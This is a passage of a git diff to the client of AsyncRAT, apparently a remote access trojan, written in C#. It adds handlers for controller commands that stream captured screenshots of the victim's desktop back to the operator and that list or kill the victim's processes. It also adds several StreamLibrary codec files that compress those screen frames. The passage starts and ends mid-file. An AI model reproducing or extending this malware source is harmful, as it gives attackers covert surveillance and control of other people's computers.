break;
|
||||
|
||||
case "remoteDesktop":
|
||||
{
|
||||
switch (unpack_msgpack.ForcePathObject("Option").AsString)
|
||||
{
|
||||
case "false":
|
||||
{
|
||||
RemoteDesktop_Status = false;
|
||||
}
|
||||
break;
|
||||
|
||||
case "true":
|
||||
{
|
||||
RemoteDesktop_Status = true;
|
||||
RemoteDesktop();
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
break;
|
||||
|
||||
case "processManager":
|
||||
{
|
||||
switch (unpack_msgpack.ForcePathObject("Option").AsString)
|
||||
{
|
||||
case "List":
|
||||
{
|
||||
ProcessManager();
|
||||
}
|
||||
break;
|
||||
|
||||
case "Kill":
|
||||
{
|
||||
ProcessKill(Convert.ToInt32(unpack_msgpack.ForcePathObject("ID").AsString));
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
@ -282,6 +327,105 @@ namespace Client
|
||||
BeginSend(msgpack.Encode2Bytes());
|
||||
}
|
||||
|
||||
private static void ProcessKill(int ID)
|
||||
{
|
||||
foreach (var process in Process.GetProcesses())
|
||||
{
|
||||
try
|
||||
{
|
||||
if (process.Id == ID)
|
||||
{
|
||||
process.Kill();
|
||||
}
|
||||
}
|
||||
catch { };
|
||||
}
|
||||
ProcessManager();
|
||||
}
|
||||
|
||||
private static void ProcessManager()
|
||||
{
|
||||
StringBuilder sb = new StringBuilder();
|
||||
var query = "SELECT ProcessId, Name, ExecutablePath FROM Win32_Process";
|
||||
using (var searcher = new ManagementObjectSearcher(query))
|
||||
using (var results = searcher.Get())
|
||||
{
|
||||
var processes = results.Cast<ManagementObject>().Select(x => new
|
||||
{
|
||||
ProcessId = (UInt32)x["ProcessId"],
|
||||
Name = (string)x["Name"],
|
||||
ExecutablePath = (string)x["ExecutablePath"]
|
||||
});
|
||||
foreach (var p in processes)
|
||||
{
|
||||
if (File.Exists(p.ExecutablePath))
|
||||
{
|
||||
string name = p.ExecutablePath;
|
||||
string key = p.ProcessId.ToString();
|
||||
Icon icon = Icon.ExtractAssociatedIcon(p.ExecutablePath);
|
||||
Bitmap bmpIcon = icon.ToBitmap();
|
||||
using (MemoryStream ms = new MemoryStream())
|
||||
{
|
||||
bmpIcon.Save(ms, ImageFormat.Png);
|
||||
sb.Append(name + "-=>" + key + "-=>" + Convert.ToBase64String(ms.ToArray()) + "-=>");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "processManager";
|
||||
msgpack.ForcePathObject("Message").AsString = sb.ToString();
|
||||
BeginSend(msgpack.Encode2Bytes());
|
||||
}
|
||||
|
||||
private static bool RemoteDesktop_Status { get; set; }
|
||||
private static void RemoteDesktop()
|
||||
{
|
||||
try
|
||||
{
|
||||
IUnsafeCodec unsafeCodec = new UnsafeStreamCodec(80);
|
||||
while (RemoteDesktop_Status == true)
|
||||
{
|
||||
Thread.Sleep(1);
|
||||
if (!Client.Connected) break;
|
||||
Bitmap bmp = CaptureScreen();
|
||||
Rectangle rect = new Rectangle(0, 0, bmp.Width, bmp.Height);
|
||||
Size size = new Size(bmp.Width, bmp.Height);
|
||||
BitmapData bmpData = bmp.LockBits(new Rectangle(0, 0, bmp.Width, bmp.Height), ImageLockMode.ReadWrite, bmp.PixelFormat);
|
||||
|
||||
using (MemoryStream stream = new MemoryStream(1000000))
|
||||
{
|
||||
unsafeCodec.CodeImage(bmpData.Scan0, rect, size, bmp.PixelFormat, stream);
|
||||
if (stream.Length > 0)
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
|
||||
msgpack.ForcePathObject("Stream").SetAsBytes(stream.ToArray());
|
||||
BeginSend(msgpack.Encode2Bytes());
|
||||
}
|
||||
}
|
||||
bmp.UnlockBits(bmpData);
|
||||
bmp.Dispose();
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
private static Bitmap CaptureScreen()
|
||||
{
|
||||
Rectangle rect = Screen.AllScreens[0].WorkingArea;
|
||||
try
|
||||
{
|
||||
Bitmap bmpScreenshot = new Bitmap(rect.Width, rect.Height, PixelFormat.Format32bppArgb);
|
||||
Graphics gfxScreenshot = Graphics.FromImage(bmpScreenshot);
|
||||
gfxScreenshot.CopyFromScreen(0, 0, 0, 0, new Size(bmpScreenshot.Width, bmpScreenshot.Height), CopyPixelOperation.SourceCopy);
|
||||
gfxScreenshot.Dispose();
|
||||
return bmpScreenshot;
|
||||
}
|
||||
catch { return new Bitmap(rect.Width, rect.Height); }
|
||||
}
|
||||
|
||||
|
||||
private static void Uninstall()
|
||||
{
|
||||
ProcessStartInfo Del = null;
|
||||
|
||||
160
AsyncRAT-C#/Client/StreamLibrary/Codecs/DirectDriverCodec.cs
Normal file
160
AsyncRAT-C#/Client/StreamLibrary/Codecs/DirectDriverCodec.cs
Normal file
@ -0,0 +1,160 @@
|
||||
using StreamLibrary.src;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.Codecs
|
||||
{
|
||||
public class DirectDriverCodec
|
||||
{
|
||||
private Bitmap decodedBitmap;
|
||||
|
||||
private byte[] EncodeBuffer;
|
||||
private PixelFormat EncodedFormat;
|
||||
private int EncodedWidth;
|
||||
private int EncodedHeight;
|
||||
private JpgCompression jpgCompression;
|
||||
|
||||
public DirectDriverCodec(int Quality)
|
||||
{
|
||||
jpgCompression = new JpgCompression(Quality);
|
||||
}
|
||||
|
||||
public unsafe void CodeImage(IntPtr Scan0, Rectangle[] Changes, Size ImageSize, PixelFormat Format, Stream outStream)
|
||||
{
|
||||
byte* pScan0 = (byte*)Scan0.ToInt32();
|
||||
if (!outStream.CanWrite)
|
||||
throw new Exception("Must have access to Write in the Stream");
|
||||
|
||||
int Stride = 0;
|
||||
int RawLength = 0;
|
||||
int PixelSize = 0;
|
||||
|
||||
switch (Format)
|
||||
{
|
||||
case PixelFormat.Format24bppRgb:
|
||||
PixelSize = 3;
|
||||
break;
|
||||
case PixelFormat.Format32bppArgb:
|
||||
case PixelFormat.Format32bppPArgb:
|
||||
PixelSize = 4;
|
||||
break;
|
||||
default:
|
||||
throw new NotSupportedException(Format.ToString());
|
||||
}
|
||||
|
||||
Stride = ImageSize.Width * PixelSize;
|
||||
RawLength = Stride * ImageSize.Height;
|
||||
|
||||
if (EncodeBuffer == null)
|
||||
{
|
||||
this.EncodedFormat = Format;
|
||||
this.EncodedWidth = ImageSize.Width;
|
||||
this.EncodedHeight = ImageSize.Height;
|
||||
this.EncodeBuffer = new byte[RawLength];
|
||||
fixed (byte* ptr = EncodeBuffer)
|
||||
{
|
||||
byte[] temp = null;
|
||||
using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0))
|
||||
{
|
||||
temp = jpgCompression.Compress(TmpBmp);
|
||||
}
|
||||
|
||||
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||
outStream.Write(temp, 0, temp.Length);
|
||||
NativeMethods.memcpy(new IntPtr(ptr), Scan0, (uint)RawLength);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
long oldPos = outStream.Position;
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
int TotalDataLength = 0;
|
||||
|
||||
for (int i = 0; i < Changes.Length; i++)
|
||||
{
|
||||
Rectangle rect = Changes[i];
|
||||
int blockStride = PixelSize * rect.Width;
|
||||
|
||||
Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format);
|
||||
BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
|
||||
for (int j = 0, offset = 0; j < rect.Height; j++)
|
||||
{
|
||||
int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
|
||||
NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
|
||||
offset += blockStride;
|
||||
}
|
||||
TmpBmp.UnlockBits(TmpData);
|
||||
|
||||
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
|
||||
long length = outStream.Position;
|
||||
long OldPos = outStream.Position;
|
||||
jpgCompression.Compress(TmpBmp, ref outStream);
|
||||
length = outStream.Position - length;
|
||||
|
||||
outStream.Position = OldPos - 4;
|
||||
outStream.Write(BitConverter.GetBytes((int)length), 0, 4);
|
||||
outStream.Position += length;
|
||||
TmpBmp.Dispose();
|
||||
TotalDataLength += (int)length + (4 * 5);
|
||||
}
|
||||
outStream.Position = oldPos;
|
||||
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
|
||||
}
|
||||
|
||||
public Bitmap DecodeData(Stream inStream)
|
||||
{
|
||||
byte[] temp = new byte[4];
|
||||
inStream.Read(temp, 0, 4);
|
||||
int DataSize = BitConverter.ToInt32(temp, 0);
|
||||
|
||||
if (decodedBitmap == null)
|
||||
{
|
||||
temp = new byte[DataSize];
|
||||
inStream.Read(temp, 0, temp.Length);
|
||||
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
return decodedBitmap;
|
||||
}
|
||||
return decodedBitmap;
|
||||
|
||||
List<Rectangle> updates = new List<Rectangle>();
|
||||
Rectangle rect;
|
||||
Graphics g = Graphics.FromImage(decodedBitmap);
|
||||
Bitmap tmp;
|
||||
byte[] buffer = null;
|
||||
MemoryStream m;
|
||||
|
||||
while (DataSize > 0)
|
||||
{
|
||||
byte[] tempData = new byte[4 * 5];
|
||||
inStream.Read(tempData, 0, tempData.Length);
|
||||
|
||||
rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
|
||||
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
|
||||
int UpdateLen = BitConverter.ToInt32(tempData, 16);
|
||||
buffer = new byte[UpdateLen];
|
||||
inStream.Read(buffer, 0, buffer.Length);
|
||||
|
||||
m = new MemoryStream(buffer);
|
||||
tmp = (Bitmap)Image.FromStream(m);
|
||||
g.DrawImage(tmp, rect.Location);
|
||||
tmp.Dispose();
|
||||
|
||||
m.Close();
|
||||
m.Dispose();
|
||||
DataSize -= UpdateLen + (4 * 5);
|
||||
}
|
||||
g.Dispose();
|
||||
return decodedBitmap;
|
||||
}
|
||||
}
|
||||
}
|
||||
68
AsyncRAT-C#/Client/StreamLibrary/Codecs/MJPGCodec.cs
Normal file
68
AsyncRAT-C#/Client/StreamLibrary/Codecs/MJPGCodec.cs
Normal file
@ -0,0 +1,68 @@
|
||||
using StreamLibrary.src;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.Codecs
|
||||
{
|
||||
/// <summary>
|
||||
/// The M-JPG codec is not very efficient for networking as it is just a very simple codec
|
||||
/// </summary>
|
||||
public class MJPGCodec : IVideoCodec
|
||||
{
|
||||
public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding;
|
||||
public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||
|
||||
public override ulong CachedSize
|
||||
{
|
||||
get { return 0; }
|
||||
internal set { }
|
||||
}
|
||||
|
||||
public override int BufferCount
|
||||
{
|
||||
get { return 0; }
|
||||
}
|
||||
|
||||
public override CodecOption CodecOptions
|
||||
{
|
||||
get { return CodecOption.None; }
|
||||
}
|
||||
|
||||
public MJPGCodec(int ImageQuality = 100)
|
||||
: base(ImageQuality)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
public override void CodeImage(Bitmap bitmap, Stream outStream)
|
||||
{
|
||||
lock (base.jpgCompression)
|
||||
{
|
||||
byte[] data = base.jpgCompression.Compress(bitmap);
|
||||
outStream.Write(BitConverter.GetBytes(data.Length), 0, 4);
|
||||
outStream.Write(data, 0, data.Length);
|
||||
}
|
||||
}
|
||||
|
||||
public override Bitmap DecodeData(Stream inStream)
|
||||
{
|
||||
lock (base.jpgCompression)
|
||||
{
|
||||
if (!inStream.CanRead)
|
||||
throw new Exception("Must have access to Read in the Stream");
|
||||
|
||||
byte[] temp = new byte[4];
|
||||
inStream.Read(temp, 0, temp.Length);
|
||||
int DataLength = BitConverter.ToInt32(temp, 0);
|
||||
temp = new byte[DataLength];
|
||||
inStream.Read(temp, 0, temp.Length);
|
||||
return (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -0,0 +1,204 @@
|
||||
using StreamLibrary.src;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.Codecs
|
||||
{
|
||||
public class QuickCachedStreamCodec : IVideoCodec
|
||||
{
|
||||
private Bitmap CodeTempBitmap;
|
||||
private Bitmap DecodeTempBitmap;
|
||||
|
||||
public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding;
|
||||
public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||
public override ulong CachedSize
|
||||
{
|
||||
get;
|
||||
internal set;
|
||||
}
|
||||
|
||||
public int MaxBuffers { get; private set; }
|
||||
private SortedList<int, byte[]> EncodeCache;
|
||||
private SortedList<int, byte[]> DecodeCache;
|
||||
|
||||
|
||||
/// <summary>
|
||||
/// Initialize a new object of QuickStreamCodec
|
||||
/// </summary>
|
||||
/// <param name="ImageQuality">The image quality 0-100%</param>
|
||||
public QuickCachedStreamCodec(int MaxBuffers = 5000, int ImageQuality = 100)
|
||||
: base(ImageQuality)
|
||||
{
|
||||
this.MaxBuffers = MaxBuffers;
|
||||
this.EncodeCache = new SortedList<int, byte[]>();
|
||||
this.DecodeCache = new SortedList<int, byte[]>();
|
||||
}
|
||||
|
||||
public override int BufferCount
|
||||
{
|
||||
get { return 1; }
|
||||
}
|
||||
public override CodecOption CodecOptions
|
||||
{
|
||||
get { return CodecOption.RequireSameSize | CodecOption.AutoDispose; }
|
||||
}
|
||||
|
||||
public override unsafe void CodeImage(Bitmap bitmap, Stream outStream)
|
||||
{
|
||||
if (!outStream.CanWrite)
|
||||
throw new Exception("Must have access to Write in the Stream");
|
||||
|
||||
if (CodeTempBitmap != null)
|
||||
{
|
||||
if (CodeTempBitmap.Width != bitmap.Width || CodeTempBitmap.Height != bitmap.Height)
|
||||
throw new Exception("Bitmap width/height are not equal to previous bitmap");
|
||||
if (bitmap.PixelFormat != CodeTempBitmap.PixelFormat)
|
||||
throw new Exception("PixelFormat is not equal to previous Bitmap");
|
||||
}
|
||||
|
||||
if (CodeTempBitmap == null)
|
||||
{
|
||||
byte[] temp = base.jpgCompression.Compress(bitmap);
|
||||
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||
outStream.Write(temp, 0, temp.Length);
|
||||
CodeTempBitmap = bitmap;
|
||||
return;
|
||||
}
|
||||
|
||||
BitmapData bmpData = bitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat);
|
||||
BitmapData CodeBmpData = CodeTempBitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat);
|
||||
int Stride = Math.Abs(bmpData.Stride);
|
||||
|
||||
List<Rectangle> Blocks = new List<Rectangle>();
|
||||
|
||||
for (int y = 0, i = 0; y < bitmap.Height; y++, i += Stride)
|
||||
{
|
||||
if (onCodeDebugScan != null)
|
||||
onCodeDebugScan(new Rectangle(0, y, bitmap.Width, 1));
|
||||
|
||||
Rectangle ScanBlock = new Rectangle(0, y, bitmap.Width, 1);
|
||||
if (NativeMethods.memcmp(new IntPtr(bmpData.Scan0.ToInt32() + i), new IntPtr(CodeBmpData.Scan0.ToInt32() + i), (uint)Stride) != 0)
|
||||
{
|
||||
byte[] temp = new byte[Stride];
|
||||
fixed(byte* ptr = temp)
|
||||
{
|
||||
NativeMethods.memcpy(ptr, (void*)(bmpData.Scan0.ToInt32() + i), (uint)temp.Length);
|
||||
}
|
||||
|
||||
CRC32 hasher = new CRC32();
|
||||
int hash = BitConverter.ToInt32(hasher.ComputeHash(temp), 0);
|
||||
|
||||
if (EncodeCache.Count >= MaxBuffers)
|
||||
EncodeCache.RemoveAt(0);
|
||||
|
||||
if (EncodeCache.ContainsKey(hash))
|
||||
{
|
||||
outStream.WriteByte(1);
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(hash), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes((ushort)y), 0, 2);
|
||||
}
|
||||
else
|
||||
{
|
||||
outStream.WriteByte(0);
|
||||
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(hash), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes((ushort)y), 0, 2);
|
||||
outStream.Write(temp, 0, temp.Length);
|
||||
EncodeCache.Add(hash, temp);
|
||||
}
|
||||
Blocks.Add(ScanBlock);
|
||||
}
|
||||
}
|
||||
|
||||
for (int i = 0; i < Blocks.Count; i++)
|
||||
{
|
||||
Bitmap cloned = (Bitmap)bitmap.Clone(Blocks[i], bitmap.PixelFormat);
|
||||
byte[] temp = base.jpgCompression.Compress(cloned);
|
||||
|
||||
cloned.Dispose();
|
||||
}
|
||||
|
||||
bitmap.UnlockBits(bmpData);
|
||||
CodeTempBitmap.UnlockBits(CodeBmpData);
|
||||
|
||||
if (onVideoStreamCoding != null)
|
||||
onVideoStreamCoding(outStream, Blocks.ToArray());
|
||||
|
||||
if (CodeTempBitmap != null)
|
||||
CodeTempBitmap.Dispose();
|
||||
this.CodeTempBitmap = bitmap;
|
||||
}
|
||||
|
||||
public override Bitmap DecodeData(Stream inStream)
|
||||
{
|
||||
if (!inStream.CanRead)
|
||||
throw new Exception("Must have access to Read in the Stream");
|
||||
|
||||
if (DecodeTempBitmap == null)
|
||||
{
|
||||
byte[] temp = new byte[4];
|
||||
inStream.Read(temp, 0, 4);
|
||||
int DataSize = BitConverter.ToInt32(temp, 0);
|
||||
temp = new byte[DataSize];
|
||||
inStream.Read(temp, 0, temp.Length);
|
||||
DecodeTempBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
return DecodeTempBitmap;
|
||||
}
|
||||
|
||||
//BitmapData BmpData = DecodeTempBitmap.LockBits(new Rectangle(0, 0, DecodeTempBitmap.Width, DecodeTempBitmap.Height), ImageLockMode.WriteOnly, DecodeTempBitmap.PixelFormat);
|
||||
//int Stride = Math.Abs(BmpData.Stride);
|
||||
|
||||
while (inStream.Position < inStream.Length)
|
||||
{
|
||||
byte[] temp = new byte[11];
|
||||
if (inStream.Read(temp, 0, temp.Length) != temp.Length)
|
||||
break;
|
||||
|
||||
bool inCache = temp[0] == 1;
|
||||
int DataSize = BitConverter.ToInt32(temp, 1);
|
||||
int Hash = BitConverter.ToInt32(temp, 5);
|
||||
ushort Y = BitConverter.ToUInt16(temp, 9);
|
||||
|
||||
temp = new byte[DataSize];
|
||||
if (inStream.Read(temp, 0, temp.Length) != temp.Length)
|
||||
break;
|
||||
|
||||
if (inCache)
|
||||
{
|
||||
if (DecodeCache.ContainsKey(Hash))
|
||||
{
|
||||
temp = DecodeCache[Hash];
|
||||
}
|
||||
else
|
||||
{
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
//copy new data to cached bitmap
|
||||
Bitmap tmpBmp = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
|
||||
using (Graphics g = Graphics.FromImage(DecodeTempBitmap))
|
||||
{
|
||||
g.DrawImage(tmpBmp, new Point(0, Y));
|
||||
}
|
||||
|
||||
/*BitmapData tmpData = tmpBmp.LockBits(new Rectangle(0, 0, tmpBmp.Width, tmpBmp.Height), ImageLockMode.WriteOnly, tmpBmp.PixelFormat);
|
||||
int Offset = Y * Stride;
|
||||
NativeMethods.memcpy(new IntPtr(BmpData.Scan0.ToInt32() + Offset), tmpData.Scan0, (uint)(tmpBmp.Height * Stride));*/
|
||||
//tmpBmp.UnlockBits(tmpData);
|
||||
tmpBmp.Dispose();
|
||||
}
|
||||
//DecodeTempBitmap.UnlockBits(BmpData);
|
||||
|
||||
return DecodeTempBitmap;
|
||||
}
|
||||
}
|
||||
}
|
||||
179
AsyncRAT-C#/Client/StreamLibrary/Codecs/QuickStreamCodec.cs
Normal file
179
AsyncRAT-C#/Client/StreamLibrary/Codecs/QuickStreamCodec.cs
Normal file
@ -0,0 +1,179 @@
|
||||
using StreamLibrary.src;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.Codecs
|
||||
{
|
||||
public class QuickStreamCodec : IVideoCodec
|
||||
{
|
||||
private Bitmap CodeTempBitmap;
|
||||
private Bitmap DecodeTempBitmap;
|
||||
|
||||
public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding;
|
||||
public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||
public override ulong CachedSize
|
||||
{
|
||||
get;
|
||||
internal set;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Initialize a new object of QuickStreamCodec
|
||||
/// </summary>
|
||||
/// <param name="ImageQuality">The image quality 0-100%</param>
|
||||
public QuickStreamCodec(int ImageQuality = 100)
|
||||
: base(ImageQuality)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
public override int BufferCount
|
||||
{
|
||||
get { return 1; }
|
||||
}
|
||||
public override CodecOption CodecOptions
|
||||
{
|
||||
get { return CodecOption.RequireSameSize | CodecOption.AutoDispose; }
|
||||
}
|
||||
|
||||
public override void CodeImage(Bitmap bitmap, Stream outStream)
|
||||
{
|
||||
if (!outStream.CanWrite)
|
||||
throw new Exception("Must have access to Write in the Stream");
|
||||
|
||||
if (CodeTempBitmap != null)
|
||||
{
|
||||
if (CodeTempBitmap.Width != bitmap.Width || CodeTempBitmap.Height != bitmap.Height)
|
||||
throw new Exception("Bitmap width/height are not equal to previous bitmap");
|
||||
if (bitmap.PixelFormat != CodeTempBitmap.PixelFormat)
|
||||
throw new Exception("PixelFormat is not equal to previous Bitmap");
|
||||
}
|
||||
|
||||
if (CodeTempBitmap == null)
|
||||
{
|
||||
byte[] temp = base.jpgCompression.Compress(bitmap);
|
||||
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||
outStream.Write(temp, 0, temp.Length);
|
||||
CodeTempBitmap = bitmap;
|
||||
return;
|
||||
}
|
||||
|
||||
BitmapData bmpData = bitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat);
|
||||
BitmapData CodeBmpData = CodeTempBitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat);
|
||||
int Stride = Math.Abs(bmpData.Stride);
|
||||
|
||||
List<Rectangle> Blocks = new List<Rectangle>();
|
||||
|
||||
for (int y = 0, i = 0; y < bitmap.Height; y++, i += Stride)
|
||||
{
|
||||
if(onCodeDebugScan != null)
|
||||
onCodeDebugScan(new Rectangle(0, y, bitmap.Width, 1));
|
||||
|
||||
Rectangle ScanBlock = new Rectangle(0, y, bitmap.Width, 1);
|
||||
if (NativeMethods.memcmp(new IntPtr(bmpData.Scan0.ToInt32() + i), new IntPtr(CodeBmpData.Scan0.ToInt32() + i), (uint)Stride) != 0)
|
||||
{
|
||||
int index = Blocks.Count - 1;
|
||||
if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == ScanBlock.Y)
|
||||
{
|
||||
ScanBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + ScanBlock.Height);
|
||||
Blocks[index] = ScanBlock;
|
||||
}
|
||||
else
|
||||
{
|
||||
Blocks.Add(ScanBlock);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
long oldPos = outStream.Position;
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
int TotalDataLength = 0;
|
||||
|
||||
for (int i = 0; i < Blocks.Count; i++)
|
||||
{
|
||||
Bitmap cloned = (Bitmap)bitmap.Clone(Blocks[i], bitmap.PixelFormat);
|
||||
byte[] temp = base.jpgCompression.Compress(cloned);
|
||||
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes((ushort)Blocks[i].Y), 0, 2);
|
||||
outStream.Write(temp, 0, temp.Length);
|
||||
cloned.Dispose();
|
||||
TotalDataLength += 6 + temp.Length;
|
||||
}
|
||||
|
||||
outStream.Position = oldPos;
|
||||
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
|
||||
|
||||
bitmap.UnlockBits(bmpData);
|
||||
CodeTempBitmap.UnlockBits(CodeBmpData);
|
||||
|
||||
if (onVideoStreamCoding != null)
|
||||
onVideoStreamCoding(outStream, Blocks.ToArray());
|
||||
|
||||
if (CodeTempBitmap != null)
|
||||
CodeTempBitmap.Dispose();
|
||||
this.CodeTempBitmap = bitmap;
|
||||
}
|
||||
|
||||
public override Bitmap DecodeData(Stream inStream)
|
||||
{
|
||||
if (!inStream.CanRead)
|
||||
throw new Exception("Must have access to Read in the Stream");
|
||||
|
||||
if (DecodeTempBitmap == null)
|
||||
{
|
||||
byte[] temp = new byte[4];
|
||||
inStream.Read(temp, 0, 4);
|
||||
int DataSize = BitConverter.ToInt32(temp, 4);
|
||||
temp = new byte[DataSize];
|
||||
inStream.Read(temp, 0, temp.Length);
|
||||
DecodeTempBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
return DecodeTempBitmap;
|
||||
}
|
||||
|
||||
|
||||
byte[] LenTemp = new byte[4];
|
||||
inStream.Read(LenTemp, 0, 4);
|
||||
int DataLength = BitConverter.ToInt32(LenTemp, 0);
|
||||
|
||||
//BitmapData BmpData = DecodeTempBitmap.LockBits(new Rectangle(0, 0, DecodeTempBitmap.Width, DecodeTempBitmap.Height), ImageLockMode.WriteOnly, DecodeTempBitmap.PixelFormat);
|
||||
//int Stride = Math.Abs(BmpData.Stride);
|
||||
|
||||
while (DataLength > 0)
|
||||
{
|
||||
byte[] temp = new byte[6];
|
||||
if (inStream.Read(temp, 0, temp.Length) != temp.Length)
|
||||
break;
|
||||
|
||||
int DataSize = BitConverter.ToInt32(temp, 0);
|
||||
ushort Y = BitConverter.ToUInt16(temp, 4);
|
||||
temp = new byte[DataSize];
|
||||
if (inStream.Read(temp, 0, temp.Length) != temp.Length)
|
||||
break;
|
||||
|
||||
//copy new data to cached bitmap
|
||||
Bitmap tmpBmp = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
|
||||
using (Graphics g = Graphics.FromImage(DecodeTempBitmap))
|
||||
{
|
||||
g.DrawImage(tmpBmp, new Point(0, Y));
|
||||
}
|
||||
|
||||
/*BitmapData tmpData = tmpBmp.LockBits(new Rectangle(0, 0, tmpBmp.Width, tmpBmp.Height), ImageLockMode.WriteOnly, tmpBmp.PixelFormat);
|
||||
int Offset = Y * Stride;
|
||||
NativeMethods.memcpy(new IntPtr(BmpData.Scan0.ToInt32() + Offset), tmpData.Scan0, (uint)(tmpBmp.Height * Stride));*/
|
||||
//tmpBmp.UnlockBits(tmpData);
|
||||
tmpBmp.Dispose();
|
||||
DataLength -= 6 + temp.Length;
|
||||
}
|
||||
//DecodeTempBitmap.UnlockBits(BmpData);
|
||||
|
||||
return DecodeTempBitmap;
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -0,0 +1,374 @@
|
||||
using StreamLibrary.src;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.Codecs
|
||||
{
|
||||
public class SmallCachedStreamCodec : IVideoCodec
|
||||
{
|
||||
public override event IVideoCodec.VideoCodeProgress onVideoStreamCoding;
|
||||
public override event IVideoCodec.VideoDecodeProgress onVideoStreamDecoding;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||
|
||||
SortedList<int, byte[]> codeCached;
|
||||
SortedList<int, byte[]> decodeCached;
|
||||
public override int BufferCount
|
||||
{
|
||||
get { return codeCached.Count; }
|
||||
}
|
||||
public override ulong CachedSize
|
||||
{
|
||||
get;
|
||||
internal set;
|
||||
}
|
||||
|
